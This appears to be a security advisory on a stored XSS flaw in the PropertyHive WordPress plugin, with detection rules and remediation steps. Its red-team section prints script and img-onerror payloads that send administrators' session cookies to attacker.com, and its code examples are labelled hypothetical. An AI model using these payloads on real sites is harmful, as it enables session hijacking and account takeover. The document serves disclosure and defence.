CVE-2025-58612

Executive Summary

CVE-2025-58612 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the PropertyHive WordPress plugin, versions 2.1.5 and below. This vulnerability allows an authenticated attacker with low privileges (e.g., a property manager or agent) to inject malicious scripts into web pages generated by the plugin. When other users (including administrators) view the affected property listing or dashboard, the injected script executes in their browser, potentially leading to session hijacking, data theft, or defacement.

The vulnerability stems from improper neutralization of input during web page generation. The plugin fails to sanitize or escape user-supplied data before storing it in the database and later rendering it in the browser. As a WordPress plugin, this issue is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx).

Key Risk Factors:

• Stored XSS – Malicious payload persists in the database.
• Low Privilege Required – Attackers only need contributor-level access.
• No Public Exploit – Currently no known public PoC or exploit code.
• No Patch Available – Vendor has not released a fix.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed PropertyHive from the WordPress dashboard or via direct download are affected. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems. However, the risk extends to any site using the plugin, including those managed via Composer or custom deployment scripts. Administrators should monitor the plugin’s update channel and consider temporary removal if no patch is forthcoming.

CVSS Breakdown & Threat Level

CVSS Score: 6.5 (Medium)

Threat Level: Medium. While the impact is limited to low-level data exposure and partial integrity loss, the stored nature of the XSS increases the likelihood of exploitation in multi-user environments.

Deep Dive & Mechanics

The vulnerability exists in the PropertyHive plugin’s handling of property listing fields (e.g., property title, description, custom fields). When a user with contributor or author privileges submits a property, the plugin stores the input without proper sanitization. The stored data is later rendered in the frontend or admin dashboard without escaping, allowing arbitrary HTML/JavaScript execution.

Attack Flow:

1. Attacker logs in as a contributor/agent.
2. Attacker creates a new property listing.
3. In a text field (e.g., property description), attacker injects a payload like <script>alert('XSS')</script>.
4. The payload is stored in the WordPress database.
5. When an administrator or other user views the property listing, the script executes.

Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses() to user-supplied data. The vulnerability is in the propertyhive plugin’s template files or shortcode handlers.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical fix based on common WordPress security practices.

Vulnerable Code (hypothetical):

// In propertyhive/templates/single-property.php
echo get_post_meta(get_the_ID(), 'property_description', true);

Patched Code (recommended):

// In propertyhive/templates/single-property.php
echo esc_html(get_post_meta(get_the_ID(), 'property_description', true));

Explanation: The vulnerable code directly outputs the stored meta value without escaping. The patched code uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress site with PropertyHive <= 2.1.5 installed.
• Attacker account with at least Contributor role.

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Properties > Add New.
3. In the Description field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Publish the property.
5. When an admin views the property, the script executes, exfiltrating their session cookie.

Alternative Payload (for admin dashboard):

<img src=x onerror="new Image().src='https://attacker.com/steal?data='+document.cookie">

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual property descriptions containing <script>, <img onerror>, or onload attributes.
• Review WordPress logs for suspicious property creation events.
• Use the YARA/Sigma rules below.

Hardening:

• Immediate: Disable the PropertyHive plugin until a patch is available.
• Workaround: Add a custom function to sanitize property fields:

  add_filter('propertyhive_sanitize_property_description', 'wp_kses_post');
  

• Web Application Firewall (WAF): Deploy rules to block XSS payloads in POST requests to /wp-admin/post.php.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains containing document.cookie or localStorage.
• File: Modified property posts in the wp_posts table with post_content containing <script> tags.
• Log: WordPress debug log entries showing wp_redirect or wp_die calls related to property submission.
• Browser: Unexpected pop-ups or redirects when viewing property listings.

Detection Engineering

YARA Rule

rule detect_propertyhive_stored_xss {
    meta:
        description = "Detects stored XSS payloads in PropertyHive plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58612"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<[^>]*onerror\s*=[^>]*>/is
        $xss3 = /<[^>]*onload\s*=[^>]*>/is
        $plugin = "propertyhive"
    condition:
        any of ($xss*) and $plugin
}

Sigma Rule

title: PropertyHive Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in PropertyHive plugin
author: Valters IT
date: 2025-04-10
tags:
    - attack.t1190
    - cve.2025.58612
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/post.php'
        http.body|contains: 
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in property descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58612 PropertyHive Stored XSS Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"<script>"; http_client_body; pcre:"/(document\.cookie|localStorage)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate PropertyHive until a patch is released.
2. Audit existing properties – Search for suspicious content in wp_posts where post_type = 'property'.
3. Change admin passwords – If any admin viewed a compromised property, rotate credentials.

Long-Term Fix:

• Apply input sanitization and output escaping to all user-facing fields.
• Use WordPress’s wp_kses() for rich text fields and esc_html() for plain text.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Vendor Communication:

• Contact PropertyHive support and reference CVE-2025-58612.
• Monitor the plugin’s page on WordPress.org for updates.

Valters IT